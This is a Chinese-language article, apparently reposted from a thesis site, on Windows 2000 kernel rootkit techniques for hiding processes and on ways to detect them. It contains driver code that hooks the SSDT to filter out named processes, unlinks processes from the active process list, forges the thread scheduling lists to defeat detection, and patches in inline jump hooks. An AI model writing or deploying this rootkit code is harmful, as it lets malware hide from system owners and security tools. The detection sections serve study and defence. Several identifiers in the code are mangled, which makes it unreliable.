隐藏进程不被检测(内核级进程隐藏,侦测技术是什么)

中国论文网 发表于2022-11-17 21:40:46 归属于电子论文 本文已影响301 我要投稿 手机版

       中国论文网为大家解读本文的相关内容:          论文关键字:内核 拦截 活动进程链表 系统服务派遣表 线程调度链驱动程序简介 
  论文摘要:信息对抗是目前计算机发展的一个重要的方向,为了更好的防御,必须去深入的了解敌人进攻的招式。信息对抗促使信息技术飞速的发展。下面我选取了信息对抗技术的中一个很小一角关于windows内核级病毒隐藏技术和反病毒侦测技术作为议题详细讨论。
  1.为什么选驱动程序
  驱动程序是运行在系统信任的ring0环境下在代码,她拥有对系统任何软件和硬件的访问权限。这意味着内核驱动可以访问所有的系统资源,可以读取所有的内存空间,而且也被允许执行cpu的特权指令,如,读取cpu控制寄存器的当前值等。而处于用户模式下的程序如果试图从内核空间中读取一个字节或者试图执行像moveax,cr3这样的汇编指令都会被立即终止掉。不过,这种强大的底线是驱动程序的一个很小的错误就会让整个系统崩溃。所以对隐藏和反隐藏技术来说都提供了一个极好的环境。但是又对攻击者和反查杀者提出了更高的技术要求。
  2.入口例程driverentry
  driverentry是内核模式驱动程序主入口点常用的名字,她的作用和main,winmain,是一样的。
  extern"c"ntstatusdriverentry(inpdriver_objectdriverobject,inpunicode_stringregistrypath)
  {...}
  driverentry的第一个参数是一个指针,指向一个刚被初始化的驱动程序对象,该对象就代表你的驱动程序,driverentry的第二个参数是设备服务键的键名。verentry函数返回一个ntstatus值。ntstatus实际就是一个长整型,但你应该使用ntstatus定义该函数的返回值而不是long,这样代码的可读性会更好。大部分内核模式支持例程都返回ntstatus状态代码,你可以在ddk头文件ntstatus.h中找到ntstatus的代码列表。
  driverentry的作用主要就是创建设备对象,建立设备对象的符号链接,设置好各个类型的回调函数等。
  例如:
extern"c"
ntstatus
driverentry(inpdriver_objectdriverobject,inpunicode_stringregistrypath)
{
driverobject->driverunload=driverunload;<--1
driverobject->driverextension->adddevice=adddevice;
driverobject->driverstartio=startio;
driverobject->majorfunction[irp_mj_pnp]=dispatchpnp;<--2
driverobject->majorfunction[irp_mj_power]=dispatchpower;
driverobject->majorfunction[irp_mj_system_control]=dispatchwmi;
...
}
  在wdm中通过设置adddevice回调函数来创建设备对象。在nt驱动中在driverentry例程中创建设备对象和符号链接。
  例如:
  rtlinitunicodestring(&devicenameunicodestring,devicenamebuffer);//初始化设备名字
//创建设备
ntstatus=iocreatedevice(driverobject,
0,
&devicenameunicodestring,
##deviceid,
0,
false,
&deviceobject
);
if(nt_success(ntstatus)){
rtlinitunicodestring(&devicelinkunicodestring,devicelinkbuffer);//初始化符号链接名字
//创建符号链接
ntstatus=iocreatesymboliclink(&devicelinkunicodestring,&devicenameunicodestring);
if(!nt_success(ntstatus)){
iodeletedevice(deviceobject);//如果创建符号链接失败,删除设备
returnntstatus;
}
}
  建立符号链接的作用就是暴露一个给应用程序的接口,应用程序可以通过createfileapi打开链接符号,得到一个语柄,和我们的驱动程序进行交互操作。
  例程
  虽然各个驱动程序的unload例程不尽相同,但是它大致执行下列工作:
  释放属于驱动程序的任何硬件。
  从win32的名字空间移除符号连接名。
  这个动作可以调用iodeletesymboliclink来实现。
  使用iodeletedevice移除设备对象。
  释放驱动程序持有的任何缓冲池等。
voiddriverunload(inpdriver_objectpdriverobject)
{
pdevice_objectpnextobj;
//循环每一个驱动过程控制的设备
pnextobj=pdriverobject->deviceobject;
while(pnextobj!=null)
{
//从设备对象中取出设备extension
pdevice_extensionpdevext=(pdevice_extension)extobj->deviceextension;
//取出符号连接名
unicode_stringplinkname=pdevext->ustrsymlinkname;
iodeletesymboliclink(&plinkname);//删除符号连接名
iodeletedevice(pnextobj);//删除设备
pnextobj=pnextobj->nextdevice;
}
}
  4.派遣例程
  win2000的i/o请求是包驱动的,当一个i/o请求开始,i/o管理器先创建一个irp去跟踪这个请求,另外,它存储一个功能代码在irp的i/o堆栈区的majorfield域中来唯一的标识请求的类型。majorfield域是被i/o管理器用来索引驱动程序对象的majorfunction表,这个表包含一个指向一个特殊i/o请求的派遣例程的功能指针,如果驱动程序不支持这个请求,majorfunction表就会指向i/o管理器函数_iopinvaliddevicerequest,该函数返回一个错误给原始的调用者。驱动程序的作者有责任提供所有的驱动程序支持的派遣例程。所有的驱动程序必须支持irp_mj_create功能代码,因为这个功能代码是用来响应win32用户模式的createfile调用,如果不支持这功能代码,win32程序就没有办法获得设备的句柄,类似的,驱动程序必须支持irp_mj_close功能代码,因为它用来响应win32用户模式的closehandle调用。顺便提一下,系统自动调用closehandle函数,因为在程序退出的时候,所有的句柄都没有被关闭。
staticntstatusmydrvdispatch(inpdevice_objectdeviceobject,inpirpirp)
{
ntstatusstatus;
pio_stack_locationirpsp;
//得到当前irp(i/o请求包)
irpsp=iogetcurrentirpstacklocation(irp);
switch(irpsp->majorfunction)
{
caseirp_mj_create:
dbgprint("irp_mj_create\n");
irp->=status_success;
irp->ation=0l;
break;
caseirp_mj_close:
dbgprint("irp_mj_close\n");
irp->=status_success;
irp->ation=0l;
break;
}
iocompleterequest(irp,0);
returnstatus_success;
}
  大部分的i/o管理器的操作支持一个标准的读写提取,irp_mj_device_control允许扩展的i/o请求,使用用户模式的deviceiocontrol函数来调用,i/o管理器创建一个irp,这个irp的majorfunction和iocontrolcode是被deviceiocontrol函数指定其内容。传递给驱动程序的ioctl遵循一个特殊的结构,它有32-bit大小,ddk包含一个方便的产生ioctl值的机制的宏,ctl_code。可以使用ctl_code宏来定义我们自己的ioctl。
例如:
#defineioctl_missledevice_aimctl_code\
(file_device_unknown,0x801,method_buffered,file_access_any)
ntstatusdispatchiocontrol(inpdevice_objectpdo,inpirppirp)
{
ntstatusstatus=status_success;
pdevice_extensionpde;
pvoiduserbuffer;
ulonginsize;
ulongoutsize;
ulongcontrolcode;//ioctl请求代码
pio_stack_locationpirpstack;//堆栈区域存储了用户缓冲区信息
pirpstack=iogetcurrentirpstacklocation(pirp);
//取出ioctl请求代码
controlcode=pirpstack->rolcode;
//得到请求缓冲区大小
insize=pirpstack->ufferlength;
outsize=pirpstack->bufferlength;
//现在执行二次派遣
switch(controlcode)
{
caseioctl_missledeviceaim:
......
caseioctl_device_launch:
......
default://驱动程序收到了未被承认的控制代码
status=status_invalid_device_request;
}
pirp->ation=0;//数据没有传输
iocompleterequest(pirp,io_no_increment);
returnstatus;
}
  5.驱动程序的安装
sc管理器(即服务控制管理器)可以控制服务和驱动程序。
加载和运行一个服务需要执行的典型操作步骤:
1.调用openscmanager()以获取一个管理器句柄
2.调用createservice()来向系统中添加一个服务
3.调用startservice()来运行一个服务
4.调用closeservicehandle()来释放管理器或服务句柄
boolinstalldriver()
{
sc_handlehscmanager=null;
hscmanager=openscmanager(null,null,sc_manager_all_access);
if(hscmanager==null)
{
fprintf(stderr,"openscmanager()failed.--err:%d\n",getlasterror());
returnfalse;
}
sc_handleschservice;
schservice=createservice(hscmanager,//scmanagerdatabase
"mydriver",//nameofservice
"mydriver",//nametodisplay
service_all_access,//desiredaccess
service_kernel_driver,//servicetype
service_auto_start,//starttype
service_error_normal,//errorcontroltype
driverpath,//service’sbinary
null,//noloadorderinggroup
null,//notagidentifier
null,//nodependencies
null,//localsystemaccount
null//nopassword
);
if(schservice==null)
{
if(getlasterror()==error_service_exists)
{
printf("servicehasalreadyinstalled!\n");
}
printf("installdriverfalse!");
returnfalse;
}
boolnret=startservice(schservice,0,null);
if(!nret)
{
if(getlasterror()==error_service_already_running)
{
printf("serviceisalreadyrunning!\n");
returnfalse;}
}
closeservicehandle(schservice);
closeservicehandle(hscmanager);
returntrue;
}
  以上对驱动程序大致框架做了一个非常简单的介绍,这仅仅是驱动程序中的一个”helloworld!”。驱动程序是相当复杂的,由于我们只是利用驱动程序的特权,对windows内核进行修改,所以就不对驱动驱动程序进行深入讨论了。
  通过hookssdt(systemservicedispathtable)隐藏进程
  1.原理介绍:
  windows操作系统是一种分层的架构体系。应用层的程序是通过api来访问操作系统。而api又是通过ntdll里面的核心api来进行系统服务的查询。核心api通过对int2e的切换,从用户模式转换到内核模式。2eh中断的功能是通过的一个函数kisystemservice()来实现的。在你使用了一个系统调用时,必须首先装载要调用的函数索引号到eax寄存器中。把指向参数区的指针被保存在edx寄存器中。中断调用后,eax寄存器保存了返回的结果。kisystemservice()是根据eax的值来决定哪个函数将被调用。而系统在ssdt中维持了一个数组,专门用来索引特定的函数服务地址。在windows2000中有一个未公开的由导出的keservicedescriptortable变量,我们可以通过它来完成对ssdt的访问与修改。keservicedescriptortable对应于一个数据结构,定义如下:
typedefstructsystemservicedescriptortable
{
uint*servicetablebase;
uint*servicecountertablebase;
uintnumberofservice;
uchar*parametertablebase;
}systemservicedescriptortable,*psystemservicedescriptortable;
  其中servicetablebase指向系统服务程序的地址(ssdt),parametertablebase则指向sspt中的参数地址,它们都包含了numberofservice这么多个数组单元。在windows2000sp4中numberofservice的数目是248个。
  我们的任务管理器,是通过用户层的api来枚举当前的进程的。ring3级枚举的方法:
•psapi
–enumprocesses()
•toolhelp32
–process32first()
-process32next()
  来对进程进行枚举。而她们最后都是通过ntquerysysteminformation来进行查询的。所以我们只需要hook掉ntquerysysteminformation,把真实ntquerysysteminformation返回的数进行添加或者是删改,就能有效的欺骗上层api。从而达到隐藏特定进程的目的。
  
  windows2000中ntquerysysteminformation在ssdt里面的索引号是0x97,所以只需要把ssdt中偏移0x97*4处把原来的一个dword类型的读出来保存一个全局变量中然后再把她重新赋值成一个新的hook函数的地址,就完成了hook。
oldfuncaddress=keservicedescriptortable->servicecountertablebase[0x97];
keservicedescriptortable->servicecountertablebase[0x97]=newfuncaddress;
  在其他系统中这个号就不一定一样。所以必须找一种通用的办法来得到这个索引号。在《undocumentnt》中介绍了一种办法可以解决这个通用问题,从未有效的避免了使用硬编码。在ntoskrnl导出的zwquerysysteminformation中包含有索引号的硬编码:
kd>uzwquerysysteminformation
804011aab897000000moveax,0x97
804011af8d542404leaedx,[esp+0x4]
804011b3cd2eint2e
804011b5c21000ret0x10
  所以只需要把zwquerysysteminformation入口处的第二个字节取出来就能得到相应的索引号了。例如:
id=*(pulong)((puchar)zwquerysysteminformation+1);
realzwquerysysteminformation=((pservicedescriptortableentry)keservicedescriptortable)->servicetablebase[id]);
((pservicedescriptortableentry)keservicedescriptortable)->servicetablebase[id]=hookzwquerysysteminformation;
  3.对ntquerysysteminformation返回的数据进行删改
ntquerysysteminformation的原型:
ntquerysysteminformation(
inulongsysteminformationclass,//查询系统服务类型
inpvoidsysteminformation,//接收系统信息缓冲区
inulongsysteminformationlength,//接收信息缓冲区大小outpulongreturnlength);//实际接收到的大小
  ntquerysysteminformation可以对系统的很多状态进行查询,不仅仅是对进程的查询,通过systeminformationclass号来区分功能,当systeminformationclass等于5的时候是在进行进程的查询。此时返回的systeminformation是一个_system_processes结构。
struct_system_processes
{
ulongnextentrydelta;//下一个进程信息的偏移量,如果为0表示无一个进程信息
ulongthreadcount;//线程数量
ulongreserved[6];//
large_integercreatetime;//创建进程的时间
large_integerusertime;//进程中所有线程在用户模式运行时间的总和
large_integerkerneltime;//进程中所有线程在内核模式运行时间的总和
unicode_stringprocessname;//进程的名字
kprioritybasepriority;//线程的缺省优先级
ulongprocessid;//进程id号
ulonginheritedfromprocessid;//继承语柄的进程id号
ulonghandlecount;//进程打开的语柄数量
ulongreserved2[2];//
vm_countersvmcounters;//虚拟内存的使用情况统计
io_countersiocounters;//io操作的统计,onlyfor2000
struct_system_threadsthreads[1];//描述进程中各线程的数组
};
  当nextentrydelta域等于0时表示已经到了进程信息链的末尾。我们要做的仅仅是把要隐藏的进程从链中删除。
  4.核心实现
//系统服务表入口地址
externpservicedescriptortableentrykeservicedescriptortable;
ntstatusdriverentry(inpdriver_objectdriverobject,inpunicode_stringregistrypath)
{
……
__asm{
moveax,cr0
movcr0value,eax
andeax,0fffeffffh//disablewriteprotect
movcr0,eax
}
//取得原来zwquerysysteminformation的入口地址
realzwquerysysteminformation=(realzwquerysysteminformation)(((pservicedescriptortableentry)keservicedescriptortable)->servicetablebase[*(pulong)((puchar)zwquerysysteminformation+1)]);
//hook
((pservicedescriptortableentry)keservicedescriptortable)->servicetablebase[*(pulong)((puchar)zwquerysysteminformation+1)]=hookfunc;
//enablewriteprotect
__asm
{
moveax,cr0value
movcr0,eax
}
……
returnstatus_success;
}

voiddriverunload(inpdriver_objectpdriverobject)
{
……
//unhook恢复系统服务的原始入口地址
((pservicedescriptortableentry)keservicedescriptortable)->servicetablebase[*(pulong)((puchar)zwquerysysteminformation+1)]=realzwquerysysteminformation;
……
}

ntstatushookfunc(
inulongsysteminformationclass,
inpvoidsysteminformation,
inulongsysteminformationlength,
outpulongreturnlength)
{
ntstatusrc;
struct_system_processes*curr;
//保存上一个进程信息的指针
struct_system_processes*prev=null;
//调用原函数
rc=(realzwquerysysteminformation)(
systeminformationclass,
systeminformation,
systeminformationlength,returnlength);
if(nt_success(rc))
{
if(5==systeminformationclass)
//如果系统查询类型是systemprocessesandthreadsinformation
{
curr=(struct_system_processes*)systeminformation;
//加第一个偏移量得到第一个system进程的信息首地址
if(curr->nextentrydelta)((char*)curr+=curr->nextentrydelta);
while(curr)
{
if(rtlcompareunicodestring(&hide_process_name,&curr->processname,1)==0)
{
//找到要隐藏的进程
if(prev)
{

if(curr->nextentrydelta)
{
//要删除的信息在中间
prev->nextentrydelta+=curr->nextentrydelta;
}
else
{
//要删除的信息在末尾
prev->nextentrydelta=0;
}
}
else
{
if(curr->nextentrydelta)
{
//要删除的信息在开头
(char*)systeminformation+=curr->nextentrydelta;
}
else
{
systeminformation=null;
}
}
//如果链下一个还有其他的进程信息,指针往后移
if(curr->nextentrydelta)
((char*)curr+=curr->nextentrydelta);else
{
curr=null;
break;
}
}
if(curr!=null)
{
//把当前指针设置成前一个指针,当前指针后移
prev=curr;
if(curr->nextentrydelta)
((char*)curr+=curr->nextentrydelta);
elsecurr=null;
}
}//endwhile(curr)
}
}
returnrc;
}
  通过ioctl和ring3级的应用程序通过deviceiocontrol(api)交互信息。ring3级的用户程序使用,
  deviceiocontrol(handle,ioctl_event_msg,processname,processnamelen,
  null,0,&bytesreturned,null)来通知驱动程序要隐藏的进程的名字。
  枚举和修改活动进程链表来检测和隐藏进程
  1.介绍eprocess块(进程执行块)
  每个进程都由一个eprocess块来表示。eprocess块中不仅包含了进程相关了很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ethread块表示的线程。进程的名字,和在用户空间的peb(进程环境)块等等。eprocess中除了peb成员块在是用户空间,其他都是在系统空间中的。
  2.查看eprocess结构
kd>!processfields
!processfields
eprocessstructureoffsets:
pcb:0x0
exitstatus:0x6c
lockevent:0x70
lockcount:0x80
createtime:0x88
exittime:0x90
lockowner:0x98
uniqueprocessid:0x9c
activeprocesslinks:0xa0
quotapeakpoolusage[0]:0xa8
quotapoolusage[0]:0xb0
pagefileusage:0xb8
commitcharge:0xbc
peakpagefileusage:0xc0
peakvirtualsize:0xc4
virtualsize:0xc8
vm:0xd0
debugport:0x120
exceptionport:0x124
objecttable:0x128
token:0x12c
workingsetlock:0x130
workingsetpage:0x150
processoutswapenabled:0x154
processoutswapped:0x155
addressspaceinitialized:0x156
addressspacedeleted:0x157
addresscreationlock:0x158
forkinprogress:0x17c
vmoperation:0x180
vmoperationevent:0x184
pagedirectorypte:0x1f0
lastfaultcount:0x18c
vadroot:0x194
vadhint:0x198
cloneroot:0x19c
numberofprivatepages:0x1a0
numberoflockedpages:0x1a4
forkwassuccessful:0x182
exitprocesscalled:0x1aa
createprocessreported:0x1ab
sectionhandle:0x1ac
peb:0x1b0
sectionbaseaddress:0x1b4
quotablock:0x1b8
lastthreadexitstatus:0x1bc
workingsetwatch:0x1c0
inheritedfromuniqueprocessid:0x1c8
grantedaccess:0x1cc
defaultharderrorprocessing0x1d0
ldtinformation:0x1d4
vadfreehint:0x1d8
vdmobjects:0x1dc
devicemap:0x1e0
imagefilename[0]:0x1fc
vmtrimfaultvalue:0x20c
win32process:0x214
  win32windowstation:0x1c4
  3.什么是活动进程链表
  eprocess块中有一个activeprocesslinks成员,它是一个plist_entry机构的双向链表。当一个新进程建立的时候父进程负责完成eprocess块,然后把activeprocesslinks链接到一个全局内核变量psactiveprocesshead链表中。

  在pspcreateprocess内核api中能清晰的找到:
  inserttaillist(&psactiveprocesshead,&process->activeprocesslinks);
  当进程结束的时候,该进程的eprocess结构当从活动进程链上摘除。(但是eprocess结构不一定就马上释放)。
  在pspexitprocess内核api中能清晰的找到:
  removeentrylist(&process->activeprocesslinks);
  所以我们完全可以利用活动进程链表来对进程进行枚举。
  4.进程枚举检测hookssdt隐藏的进程。
事实上nactiveapizwquerysysteminformation对进程查询也是找到活动进程链表头,然后遍历活动进程链。最后把每一个eprocess中包含的基本信息返回(包括进程id名字等)。所以用遍历活动进程链表的办法能有效的把hookssdt进行隐藏的进程轻而易举的查出来。但是psactiveprocesshead并没被导出来,所以我们可以利用硬编码的办法,来解决这个问题。利用内核调试器livekd查得psactiveprocesshead的地址为:0x8046e460.(在2000sp4中得到的值)
  kd>ddpsactiveprocessheadl2
  ddpsactiveprocessheadl2
  8046e46081829780ff2f4c80
  plist_entrypsactiveprocesshead=(plist_entry)0x8046e460;
voiddisplaylist()
{
plist_entrylist=psactiveprocesshead->blink;
while(list!=psactiveprocesshead)
{
char*name=((char*)list-0xa0)+0x1fc;
dbgprint("name=%s\n",name);
list=list->blink;
}
}
  首先把list指向表头后的第一个元素。然后减去0xa0,因为这个时候list指向的并不是eprocess块的头,而是指向的它的activeprocesslinks成员结构,而activeprocesslinks在eprocess中的偏移量是0xa0,所以需要减去这么多,得到eprocess的头部。在eprocess偏移0x1fc处是进程的名字信息,所以再加上0x1fc得到进程名字,并且在dbgview中打印出来。利用hookssdt隐藏的进程很容易就被查出来了。
  5.解决硬编码问题。
  在上面我们的psactiveprocesshead是通过硬编码的形式得到的,在不同的系统中这值不一样。在不同的sp版本中这个值一般也不一样。这就给程序的通用性带来了很大的问题。下面就来解决这个psactiveprocesshead的硬编码的问题。
导出的psinitialsystemprocess是一个指向system进程的eprocess。这个结构成员就是指向psactiveprocesshead的.
kd>ddpsinitialsystemprocessl1
ddpsinitialsystemprocessl1
8046e450818296e0
kd>!process818296e00
!process818296e00
process818296e0sessionid:0cid:0008peb:00000000parentcid:0000
dirbase:00030000objecttable:8185d148tablesize:141.
image:system
可以看出由psinitialsystemprocess得到的818296e0正是指向system的eprocess.
kd>dd818296e0+0xa0l2
dd818296e0+0xa0l2
81829780814d1a008046e460
上面又可以看出systemeprocess的activeprocesslinks域的blink指向8046e460正好就是我们的psactiveprocesshead.
  6.删除活动进程链表实现进程隐藏
  由于windows是基于线程调度的。所以如果我们把要隐藏的进程的eprocess块从活动进程链上摘除,就能有效的绕过基于通过活动进程链表检测进程的防御系统。因为是以线程为基本单位进行调度,所以摘除过后并不影响隐藏进程的线程调度。
voiddelprocesslist()
{
plist_entrylist=psactiveprocesshead->blink;
while(list!=psactiveprocesshead)
{
char*name=((char*)list-0xa0)+0x1fc;
if(!_stricmp(name,""))
{
dbgprint("remove%s\n",name);
removeentrylist(list);
}
list=list->blink;
}
}
  首先和上面的程序一样得到psactiveprocesshead头的后面第一个eprocess块。然后和我们要隐藏的进程名字进行对比,如果不是指针延链下移动。如果是就把eprocess块从活动进程链上摘除。一直到遍历完一次活动进程的双向链表。当摘除指定进程的eprocess块后可以发现任务管理器里面的指定的进程消失了,然后又用上面的基于活动进程链表检测进程的程序一样的发现不到隐藏的进程。
  基于线程调度链表的检测和隐藏技术
  1.什么是ethread和kthread块
  windows2000是由执行程序线程(ethread)块表示的,ethread成员都是指向的系统空间,进程环境块(teb)除外。ethread块中的第一个结构体就是内核线程(kthread)块。在kthread块中包含了windows2000内核需要访问的信息。这些信息用于执行线程的调度和同步正在运行的线程。
kd>!kthread
struct_kthread(sizeof=432)
+000struct_dispatcher_headerheader
+010struct_list_entrymutantlisthead
+018void*initialstack
+01cvoid*stacklimit
+020void*teb
+024void*tlsarray
+028void*kernelstack
+02cbytedebugactive
+02dbytestate
+02ebytealerted[2]
+030byteiopl
+031bytenpxstate
+032charsaturation
+033charpriority
+034struct_kapc_stateapcstate
+034struct_list_entryapclisthead[2]
+044struct_kprocess*process
+04cuint32contextswitches
+050int32waitstatus
+054bytewaitirql
+055charwaitmode
+056bytewaitnext
+057bytewaitreason
+058struct_kwait_block*waitblocklist
+05cstruct_list_entrywaitlistentry
+064uint32waittime
+068charbasepriority
+069bytedecrementcount
+06acharprioritydecrement
+06bcharquantum
+06cstruct_kwait_blockwaitblock[4]
+0ccvoid*legodata
+0d0uint32kernelapcdisable
+0d4uint32useraffinity
+0d8bytesystemaffinityactive
+0d9bytepowerstate
+0dabytenpxirql
+0dbbytepad[1]
+0dcvoid*servicetable
+0e0struct_kqueue*queue
+0e4uint32apcqueuelock
+0e8struct_ktimertimer
+110struct_list_entryqueuelistentry
+118uint32affinity
+11cbytepreempted
+11dbyteprocessreadyqueue
+11ebytekernelstackresident
+11fbytenextprocessor
+120void*callbackstack
+124void*win32thread
+128struct_ktrap_frame*trapframe
+12cstruct_kapc_state*apcstatepointer[2]
+134charpreviousmode
+135byteenablestackswap
+136bytelargestack
+137byteresourceindex
+138uint32kerneltime
+13cuint32usertime
+140struct_kapc_statesavedapcstate
+158bytealertable
+159byteapcstateindex
+15abyteapcqueueable
+15bbyteautoalignment
+15cvoid*stackbase
+160struct_kapcsuspendapc
+190struct_ksemaphoresuspendsemaphore
+1a4struct_list_entrythreadlistentry
+1accharfreezecount
+1adcharsuspendcount
+1aebyteidealprocessor
+1afbytedisableboost
  在偏移0x5c处有一个waitlistentry成员,这个就是用来链接到线程调度链表的。在偏移0x34处有一个apcstate成员结构,在apcstate中的process域就是指向当前线程关联的进程的kprocess块,由于kprocess块是eprocess块的第一个元素,所以找到了kprocess块指针也就是找到了eprocess块的指针。找到了eprocess就不用多少了,就可以取得当前线程的进程的名字,id号等。
  2.线程调度
  在windows系统中,线程调度主要分成三条主要的调度链表。分别是kiwaitinlisthead,kiwaitoutlisthead,kidispatcherreadylisthead,分别是两条阻塞链,一条就绪链表,当线程获得cpu执行的时候,系统分配一,,个时间片给线程,当发生一次时钟中断就从分配的时间片上减去一个时钟中断的值,如果这个值小于零了也就是时间片用完了,那么这个线程根据其优先级载入到相应的就绪队列末尾。kidispatcherreadylisthead是一个数组链的头部,在windows2000中它包含有32个队列,分别对应线程的32个优先级。如果线程因为同步,或者是对外设请求,那么阻塞线程,让出cpu的所有权,加如到阻塞队列里面去。cpu从就绪队列里面,按照优先权的前后,重新调度新的线程的执行。当阻塞队列里面的线程获得所需求的资源,或者是同步完成就又重新加到就绪队列里面等待执行。
  3.通过线程调度链表进行隐藏进程的检测
voiddisplaylist(plist_entrylisthead)
{
plist_entrylist=listhead->flink;
if(list==listhead)
{
//dbgprint("return\n");
return;
}
plist_entrynextlist=list;
while(nextlist!=listhead)
{
pkthreadthread=ontaining_record(nextlist,kthread,waitlistentry);
pkprocessprocess=thread->s;
peprocesspeprocess=(peprocess)process;
dbgprint("imagefilename=%s\n",peprocess->imagefilename);
nextlist=nextlist->flink;
}
}
  以上是对一条链进行进程枚举。所以我们必须找到kiwaitinlistheadkiwaitoutlistheadkidispatcherreadylisthead的地址,由于他们都没有被导出来,所以只有通过硬编码的办法给他们赋值。通过内核调试器,能找到(windows2000sp4):
plist_entrykiwaitinlisthead=(plist_entry)0x80482258;
plist_entrykidispatcherreadylisthead=(plist_entry)0x804822e0;
plist_entrykiwaitoutlisthead=(plist_entry)0x80482808;
  遍历所有的线程调度链表。
for(i=0;i<32;i++)
{
displaylist(kidispatcherreadylisthead+i);
}
displaylist(kiwaitinlisthead);
displaylist(kiwaitoutlisthead);
  通过上面的那一小段核心代码就能把删除活动进程链表的隐藏进程给查出来。也可以改写一个友好一点的驱动,加入ioctl,得到的进程信息把打印在dbgview中把它返回给ring3的应用程序,然后应用程序对返回的数据进行处理,和ring3级由psapi得到的进程对比,然后判断是不是有隐藏的进程。
  4.绕过内核调度链表隐藏进程。
  xfocus上sobeit提出了绕过内核调度链表进程检测。详情可以参见原文:
  /
  由于现在的基于线程调度的检测系统都是通过内核调试器得硬编码来枚举所有的调度线程的,所以我们完全可以自己创造一个那三个调度链表头,然后把原链表头从链中断开,把自己的申请的链表头接上去。由于线程调度的时候会用到kifindreadythread等内核api,在kifindreadythread里面又会去访问kidispatcherreadylisthead,所以我完全可以把kifindreadythread中那段访问kidispatcherreadylisthead的机器码修改了,把原kidispatcherreadylisthead的地址改成我们新申请的头。
kd>ukifindreadythread+0x48
nt!kifindreadythread+0x48:
804313db8d34d5e0224880leaesi,[nt!kidispatcherreadylisthead(804822e0)+edx*8]
  很明显我们可以在机器码中看到e0224880,由于它是在内存中以byte序列显示的转换成dword就是804822e0就是我们kidispatcherreadylisthead的地址。所以我们要做的就是把[804313db+3]赋值成我们自己申请的一个链头。使其系统以后对原链表头的操作变化成对我们自己申请的链表头的操作。同理用到那三个链表头的还有一些内核api,所以必须找到他们在机器码中含有原表头地址信息的具体地址然后把它全部替换掉。不然系统调度就会出错.系统中用到kiwaitinlisthead的例程:kewaitforsingleobject、kewaitformultipleobject、kedelayexecutionthread、kioutswapkernelstacks。用到kiwaitoutlisthead的例程和kiwaitinlisthead的一样。使用kidispatcherreadylisthead的例程有:kesetaffinitythread、kifindreadythread、kireadythread、kisetprioritythread、ntyieldexecution、kiscanreadyqueues、kiswapthread。
  申请新的表头空间:
pnewkiwaitinlisthead=(plist_entry)exallocatepool\
(nonpagedpool,sizeof(list_entry));
pnewkiwaitoutlisthead=(plist_entry)exallocatepool\
(nonpagedpool,sizeof(list_entry));
pnewkidispatcherreadylisthead=(plist_entry)exallocatepool\
(nonpagedpool,32*sizeof(list_entry));

  下面仅仅以pnewkiwaitinlisthead头为例,其他的表头都是一样的操作。
  新调度链表的表头替换:
  initializelisthead(pnewkiwaitinlisthead);
  把原来的系统链表头摘除,把新的接上去:
pfirstentry=pkiwaitinlisthead->flink;
plastentry=pkiwaitinlisthead->blink;
pnewkiwaitinlisthead->flink=pfirstentry;
pnewkiwaitinlisthead->blink=plastentry;
pfirstentry->blink=pnewkiwaitinlisthead;
plastentry->flink=pnewkiwaitinlisthead;
 剩下的就是在原来的线程调度链表上做文章了使其基于线程调度检测系统看不出什么异端.
for(;;)
{
initializelisthead(pkiwaitinlisthead);
for(pentry=pnewkiwaitinlisthead->flink;
pentry&&pentry!=pnewkiwaitinlisthead;
pentry=pentry->flink)
{
pethread=(pethread)(((pchar)pentry)-0x5c);
peprocess=(peprocess)(pethread->s);
pid=*(pulong)(((pchar)peprocess)+0x9c);
if(pid==0x8)
continue;
pfakeethread=exallocatepool(pagedpool,sizeof(fake_ethread));
memcpy(pfakeethread,pethread,sizeof(fake_ethread));
insertheadlist(pkiwaitinlisthead,&pfakeethread->waitlistentry);
}
...休息一段时间
}
  首先每过一小段时间就把原来的线程调度链表清空,然后遍历当前的线程调度链,判断链中的每一个kprocess块是不是要属于要隐藏的进程线程,如果是就跳过,不是就自己构造一个ethread块把当前的信息拷贝过去,然后把自己构造的ethread块加入到原来的调度链表中。为什么要自己构造一个ethread?其原因主要有2个,其一为了使检测系统看起来更可信,如果仅仅清空原来的线程调度链表那么检测系统将查不出来任何的线程和进程信息,
  很明显,这无疑不打自招的说,系统里面已经有东西了。其二,如果把自己构造的ethread块挂接在原调度链表中,检测系统会访问挂在原来调度链表上的ethread块里面的成员,如果不自己构造一个和真实ethread块重要信息一样的块,那么检测系统很有可能出现非法访问,然后就boom兰屏了。
实际上所谓的绕过系统检测仅仅是针对基于线程调度的检测进程的防御系统而言的,其实系统依旧在进行线程调度,访问的是我们新建的链表头部。而检测系统访问的是原来的头部,他后面的数据项是我们自己申请的,系统并不访问。
  5.检测绕过内核调度链表隐藏进程
  一般情况下我们是通过内核调试器得到那三条链表的内核地址,然后进行枚举。这就给隐藏者留下了机会,如上面所示。但是我们完全可以把上面那种隐藏进程检测出来。我们也通过在内核函数中取得硬编码的办法来分别取得他们的链表头的地址。如上面我们已经看见了kifindreadythread+0x48+3出就是kidispatcherreadylisthead的地址,如果用上面的绕过内核调度链表检测办法同时也去要修改kifindreadythread+0x48+3的值为新链表的头部地址。所以我们的检测系统完全可以从kifindreadythread+0x48+3(0x804313de)去取得kidispatcherreadylisthead的值。同理kiwaitinlisthead,kiwaitoutlisthead也都到使用他们的相应的内核函数里面去取得地址。就算原地址被修改过,我们也能把修改过后的调度链表头给找出来。所以欺骗就不行了。
  hook内核函数(kireadythread)检测进程
  1.介绍通用hook内核函数的方法
  当我们要拦截目标函数的时候,只要修改原函数头5个字节的机器代码为一个jmpxxxxxxxx(xxxxxxxx是距自己的hook函数的偏移量)就行了。并且保存原来修改前的5个字节。在跳入原函数时,恢复那5个字节即可。
charjmpmycode[]={0xe9,0x00,0x00,0x00,0x00};//e9对应jmp偏移量指令
*((ulong*)(jmpmycode+1))=(ulong)myfunc-(ulong)orgdestfunction-5;//获得偏移量
memcpy(orgcode,(char*)orgdestfunction,5);//保存原来的代码
memcpy((char*)orgdestfunction,jmpmycode,5);//覆盖前一个命令为一个跳转指令
